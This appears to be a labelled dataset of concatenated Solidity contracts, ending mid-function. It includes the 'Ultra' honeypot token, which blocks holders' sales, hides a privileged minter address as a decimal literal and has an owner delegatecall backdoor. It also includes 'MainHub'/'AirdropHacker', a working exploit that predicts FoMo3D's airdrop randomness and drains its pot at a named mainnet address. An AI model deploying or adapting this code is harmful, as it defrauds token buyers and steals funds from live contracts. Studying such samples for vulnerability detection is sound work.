delete investors[investorAddr].deposit;
delete investors[investorAddr].paymentTime;
delete investors[investorAddr].withdrawal;
delete investors[investorAddr].boostStartup;
emit OnDeleteInvestor(investorAddr, now);
investorsNumber--;
}
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0);
uint256 c = _a / _b;
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
} | 0 | 2,205 |
pragma solidity ^0.6.6;
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ScamChecker {
address payable public contractOwner;
constructor() public {
contractOwner = msg.sender;
}
function execute(bytes calldata data) external payable {
}
function withdraw(address atoken) public {
require(msg.sender == contractOwner, "Nope");
IERC20 token = IERC20(atoken);
token.transfer(contractOwner, token.balanceOf(address(this)));
contractOwner.send(address(this).balance);
}
function testTokenWeth(address tokenAddr) public {
testToken(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, tokenAddr);
}
function testToken(address tokenAddr0, address tokenAddr1) public {
IERC20 token0 = IERC20(tokenAddr0);
IERC20 token1 = IERC20(tokenAddr1);
token0.approve(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, uint(-1));
token1.approve(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, uint(-1));
IUniswapV2Router02 exchange = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address[] memory path = new address[](2);
path[0] = tokenAddr0;
path[1] = tokenAddr1;
uint256 bal = token0.balanceOf(address(this));
exchange.swapExactTokensForTokens(bal, 1, path, address(this), block.timestamp);
bal = token1.balanceOf(address(this));
path[0] = tokenAddr1;
path[1] = tokenAddr0;
exchange.swapExactTokensForTokens(bal, 1, path, address(this), block.timestamp);
}
} | 0 | 1,243 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract Ultra {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1128272879772349028992474526206451541022554459967));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 16 |
pragma solidity 0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract EmcoTokenInterface is ERC20 {
function setReferral(bytes32 _code) public;
function setReferralCode(bytes32 _code) public view returns (bytes32);
function referralCodeOwners(bytes32 _code) public view returns (address);
function referrals(address _address) public view returns (address);
function userReferralCodes(address _address) public view returns (bytes32);
}
contract Clan is Ownable {
using SafeMath for uint256;
mapping(address => uint256) public rewards;
mapping(uint256 => uint256) public epochRewards;
mapping(address => uint256) public epochJoined;
mapping(uint => uint256) private membersNumForEpoch;
mapping(address => mapping(uint => bool)) public reclaimedRewards;
uint public lastMembersNumber = 0;
event UserJoined(address userAddress);
event UserLeaved(address userAddress);
uint public startBlock;
uint public epochLength;
uint public ownersReward;
EmcoToken emco;
address public clanOwner;
constructor(address _clanOwner, address _emcoToken, uint256 _epochLength) public {
clanOwner = _clanOwner;
startBlock = block.number;
epochLength = _epochLength;
emco = EmcoToken(_emcoToken);
}
function replenish(uint amount) public onlyOwner {
uint currentEpoch = getCurrentEpoch();
if(membersNumForEpoch[currentEpoch] == 0) {
membersNumForEpoch[currentEpoch] = lastMembersNumber;
}
uint ownersPart;
if(membersNumForEpoch[currentEpoch] == 0) {
ownersPart = amount;
} else {
ownersPart = amount.div(10);
epochRewards[currentEpoch] = epochRewards[currentEpoch].add(amount - ownersPart);
}
ownersReward = ownersReward.add(ownersPart);
}
function getMembersForEpoch(uint epochNumber) public view returns (uint membersNumber) {
return membersNumForEpoch[epochNumber];
}
function getCurrentEpoch() public view returns (uint256) {
return (block.number - startBlock) / epochLength;
}
function join(address user) public onlyOwner {
emit UserJoined(user);
uint currentEpoch = getCurrentEpoch();
epochJoined[user] = currentEpoch + 1;
uint currentMembersNum = lastMembersNumber;
if(currentMembersNum == 0) {
membersNumForEpoch[currentEpoch + 1] = currentMembersNum + 1;
} else {
membersNumForEpoch[currentEpoch + 1] = membersNumForEpoch[currentEpoch + 1] + 1;
}
lastMembersNumber = membersNumForEpoch[currentEpoch + 1];
}
function leaveClan(address user) public onlyOwner {
epochJoined[user] = 0;
emit UserLeaved(user);
uint currentEpoch = getCurrentEpoch();
uint currentMembersNum = lastMembersNumber;
if(currentMembersNum != 0) {
membersNumForEpoch[currentEpoch + 1] = membersNumForEpoch[currentEpoch + 1] - 1;
}
lastMembersNumber = membersNumForEpoch[currentEpoch + 1];
}
function calculateReward(uint256 epoch) public view returns (uint256) {
return epochRewards[epoch].div(membersNumForEpoch[epoch]);
}
function reclaimOwnersReward() public {
require(msg.sender == clanOwner);
emco.transfer(msg.sender, ownersReward);
ownersReward = 0;
}
function reclaimReward(uint256 epoch) public {
uint currentEpoch = getCurrentEpoch();
require(currentEpoch > epoch);
require(epochJoined[msg.sender] != 0);
require(epochJoined[msg.sender] <= epoch);
require(reclaimedRewards[msg.sender][epoch] == false);
uint userReward = calculateReward(epoch);
require(userReward > 0);
require(emco.transfer(msg.sender, userReward));
reclaimedRewards[msg.sender][epoch] = true;
}
}
contract EmcoToken is StandardToken, Ownable {
string public constant name = "EmcoToken";
string public constant symbol = "EMCO";
uint8 public constant decimals = 18;
uint public constant MAX_SUPPLY = 36000000 * (10 ** uint(decimals));
mapping (address => uint) public miningBalances;
mapping (address => uint) public lastMiningBalanceUpdateTime;
mapping (address => address) public joinedClans;
mapping (address => address) public userClans;
mapping (address => bool) public clanRegistry;
mapping (address => uint256) public inviteeCount;
address systemAddress;
EmcoTokenInterface private oldContract;
uint public constant DAY_MINING_DEPOSIT_LIMIT = 360000 * (10 ** uint(decimals));
uint public constant TOTAL_MINING_DEPOSIT_LIMIT = 3600000 * (10 ** uint(decimals));
uint currentDay;
uint currentDayDeposited;
uint public miningTotalDeposited;
mapping(address => bytes32) private userRefCodes;
mapping(bytes32 => address) private refCodeOwners;
mapping(address => address) private refs;
event Mine(address indexed beneficiary, uint value);
event MiningBalanceUpdated(address indexed owner, uint amount, bool isDeposit);
event Migrate(address indexed user, uint256 amount);
event TransferComment(address indexed to, uint256 amount, bytes comment);
event SetReferral(address whoSet, address indexed referrer);
constructor(address emcoAddress) public {
systemAddress = msg.sender;
oldContract = EmcoTokenInterface(emcoAddress);
}
function migrate(uint _amount) public {
require(oldContract.transferFrom(msg.sender, this, _amount));
totalSupply_ = totalSupply_.add(_amount);
balances[msg.sender] = balances[msg.sender].add(_amount);
emit Migrate(msg.sender, _amount);
emit Transfer(address(0), msg.sender, _amount);
}
function setReferralCode(bytes32 _code) public returns (bytes32) {
require(_code != "");
require(refCodeOwners[_code] == address(0));
require(oldContract.referralCodeOwners(_code) == address(0));
require(userReferralCodes(msg.sender) == "");
userRefCodes[msg.sender] = _code;
refCodeOwners[_code] = msg.sender;
return _code;
}
function referralCodeOwners(bytes32 _code) public view returns (address owner) {
address refCodeOwner = refCodeOwners[_code];
if(refCodeOwner == address(0)) {
return oldContract.referralCodeOwners(_code);
} else {
return refCodeOwner;
}
}
function userReferralCodes(address _address) public view returns (bytes32) {
bytes32 code = oldContract.userReferralCodes(_address);
if(code != "") {
return code;
} else {
return userRefCodes[_address];
}
}
function referrals(address _address) public view returns (address) {
address refInOldContract = oldContract.referrals(_address);
if(refInOldContract != address(0)) {
return refInOldContract;
} else {
return refs[_address];
}
}
function setReferral(bytes32 _code) public {
require(refCodeOwners[_code] != address(0));
require(referrals(msg.sender) == address(0));
require(oldContract.referrals(msg.sender) == address(0));
address referrer = refCodeOwners[_code];
require(referrer != msg.sender, "Can not invite yourself");
refs[msg.sender] = referrer;
inviteeCount[referrer] = inviteeCount[referrer].add(1);
emit SetReferral(msg.sender, referrer);
}
function transferWithComment(address _to, uint256 _value, bytes _comment) public returns (bool) {
emit TransferComment(_to, _value, _comment);
return transfer(_to, _value);
}
function createClan(uint256 epochLength) public returns (address clanAddress) {
require(epochLength >= 175200);
require(userClans[msg.sender] == address(0x0));
require(inviteeCount[msg.sender] >= 10);
Clan clan = new Clan(msg.sender, this, epochLength);
userClans[msg.sender] = clan;
clanRegistry[clan] = true;
return clan;
}
function joinClan(address clanAddress) public {
require(clanRegistry[clanAddress]);
require(joinedClans[msg.sender] == address(0x0));
Clan clan = Clan(clanAddress);
clan.join(msg.sender);
joinedClans[msg.sender] = clanAddress;
}
function leaveClan() public {
address clanAddress = joinedClans[msg.sender];
require(clanAddress != address(0x0));
Clan clan = Clan(clanAddress);
clan.leaveClan(msg.sender);
joinedClans[msg.sender] = address(0x0);
}
function updateInviteesCount(address invitee, uint256 count) public onlyOwner {
inviteeCount[invitee] = count;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner].add(miningBalances[_owner]);
}
function miningBalanceOf(address _owner) public view returns (uint balance) {
return miningBalances[_owner];
}
function depositToMiningBalance(uint _amount) public {
require(balances[msg.sender] >= _amount, "not enough tokens");
require(getCurrentDayDeposited().add(_amount) <= DAY_MINING_DEPOSIT_LIMIT,
"Day mining deposit exceeded");
require(miningTotalDeposited.add(_amount) <= TOTAL_MINING_DEPOSIT_LIMIT,
"Total mining deposit exceeded");
balances[msg.sender] = balances[msg.sender].sub(_amount);
miningBalances[msg.sender] = miningBalances[msg.sender].add(_amount);
miningTotalDeposited = miningTotalDeposited.add(_amount);
updateCurrentDayDeposited(_amount);
lastMiningBalanceUpdateTime[msg.sender] = now;
emit MiningBalanceUpdated(msg.sender, _amount, true);
}
function withdrawFromMiningBalance(uint _amount) public {
require(miningBalances[msg.sender] >= _amount, "not enough mining tokens");
miningBalances[msg.sender] = miningBalances[msg.sender].sub(_amount);
balances[msg.sender] = balances[msg.sender].add(_amount);
miningTotalDeposited = miningTotalDeposited.sub(_amount);
lastMiningBalanceUpdateTime[msg.sender] = now;
emit MiningBalanceUpdated(msg.sender, _amount, false);
}
function mine() public {
require(totalSupply_ < MAX_SUPPLY, "mining is over");
uint reward = getReward(totalSupply_);
uint daysForReward = getDaysForReward();
uint mintedAmount = miningBalances[msg.sender].mul(reward.sub(1000000000))
.mul(daysForReward).div(100000000000);
require(mintedAmount != 0);
uint amountToBurn = miningBalances[msg.sender].mul(daysForReward).div(100);
if(totalSupply_.add(mintedAmount) > MAX_SUPPLY) {
uint availableToMint = MAX_SUPPLY.sub(totalSupply_);
amountToBurn = availableToMint.div(mintedAmount).mul(amountToBurn);
mintedAmount = availableToMint;
}
totalSupply_ = totalSupply_.add(mintedAmount);
miningBalances[msg.sender] = miningBalances[msg.sender].sub(amountToBurn);
balances[msg.sender] = balances[msg.sender].add(amountToBurn);
uint userReward;
uint referrerReward = 0;
address referrer = referrals(msg.sender);
if(referrer == address(0)) {
userReward = mintedAmount.mul(85).div(100);
} else {
userReward = mintedAmount.mul(86).div(100);
referrerReward = mintedAmount.div(100);
balances[referrer] = balances[referrer].add(referrerReward);
emit Mine(referrer, referrerReward);
emit Transfer(address(0), referrer, referrerReward);
}
balances[msg.sender] = balances[msg.sender].add(userReward);
emit Mine(msg.sender, userReward);
emit Transfer(address(0), msg.sender, userReward);
miningTotalDeposited = miningTotalDeposited.sub(amountToBurn);
emit MiningBalanceUpdated(msg.sender, amountToBurn, false);
uint systemFee = mintedAmount.sub(userReward).sub(referrerReward);
balances[systemAddress] = balances[systemAddress].add(systemFee);
emit Mine(systemAddress, systemFee);
emit Transfer(address(0), systemAddress, systemFee);
lastMiningBalanceUpdateTime[msg.sender] = now;
mintClanReward(mintedAmount.mul(5).div(1000));
}
function mintClanReward(uint reward) private {
address clanAddress = joinedClans[msg.sender];
if(clanAddress != address(0x0)) {
require(clanRegistry[clanAddress], "clan is not registered");
balances[clanAddress] = balances[clanAddress].add(reward);
Clan clan = Clan(clanAddress);
clan.replenish(reward);
totalSupply_ = totalSupply_.add(reward);
}
}
function setSystemAddress(address _systemAddress) public onlyOwner {
systemAddress = _systemAddress;
}
function getCurrentDayDeposited() public view returns (uint) {
if(now / 1 days == currentDay) {
return currentDayDeposited;
} else {
return 0;
}
}
function getDaysForReward() public view returns (uint rewardDaysNum){
if(lastMiningBalanceUpdateTime[msg.sender] == 0) {
return 0;
} else {
uint value = (now - lastMiningBalanceUpdateTime[msg.sender]) / (1 days);
if(value > 100) {
return 100;
} else {
return value;
}
}
}
function getReward(uint _totalSupply) public pure returns (uint rewardPercent){
uint rewardFactor = 1000000 * (10 ** uint256(decimals));
uint decreaseFactor = 41666666;
if(_totalSupply < 23 * rewardFactor) {
return 2000000000 - (decreaseFactor.mul(_totalSupply.div(rewardFactor)));
}
if(_totalSupply < MAX_SUPPLY) {
return 1041666666;
} else {
return 1000000000;
}
}
function updateCurrentDayDeposited(uint _addedTokens) private {
if(now / 1 days == currentDay) {
currentDayDeposited = currentDayDeposited.add(_addedTokens);
} else {
currentDay = now / 1 days;
currentDayDeposited = _addedTokens;
}
}
} | 1 | 3,120 |
pragma solidity ^0.4.24;
contract FoMo3Dlong{
uint256 public airDropPot_;
uint256 public airDropTracker_;
function withdraw() public;
function buyXaddr(address _affCode, uint256 _team) public payable;
}
contract MainHub{
using SafeMath for *;
address public owner;
bool public closed = false;
FoMo3Dlong code = FoMo3Dlong(0xA62142888ABa8370742bE823c1782D17A0389Da1);
modifier onlyOwner{
require(msg.sender==owner);
_;
}
modifier onlyNotClosed{
require(!closed);
_;
}
constructor() public payable{
require(msg.value==.1 ether);
owner = msg.sender;
}
function attack() public onlyNotClosed{
require(code.airDropPot_()>=.5 ether);
require(airdrop());
uint256 initialBalance = address(this).balance;
(new AirdropHacker).value(.1 ether)();
uint256 postBalance = address(this).balance;
uint256 takenAmount = postBalance - initialBalance;
msg.sender.transfer(takenAmount*95/100);
require(address(this).balance>=.1 ether);
}
function airdrop() private view returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < code.airDropTracker_())
return(true);
else
return(false);
}
function drain() public onlyOwner{
closed = true;
owner.transfer(address(this).balance);
}
function() public payable{}
}
contract AirdropHacker{
FoMo3Dlong code = FoMo3Dlong(0xA62142888ABa8370742bE823c1782D17A0389Da1);
constructor() public payable{
code.buyXaddr.value(.1 ether)(0xc6b453D5aa3e23Ce169FD931b1301a03a3b573C5,2);
code.withdraw();
require(address(this).balance>=.1 ether);
selfdestruct(msg.sender);
}
function() public payable{}
}
library SafeMath {
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
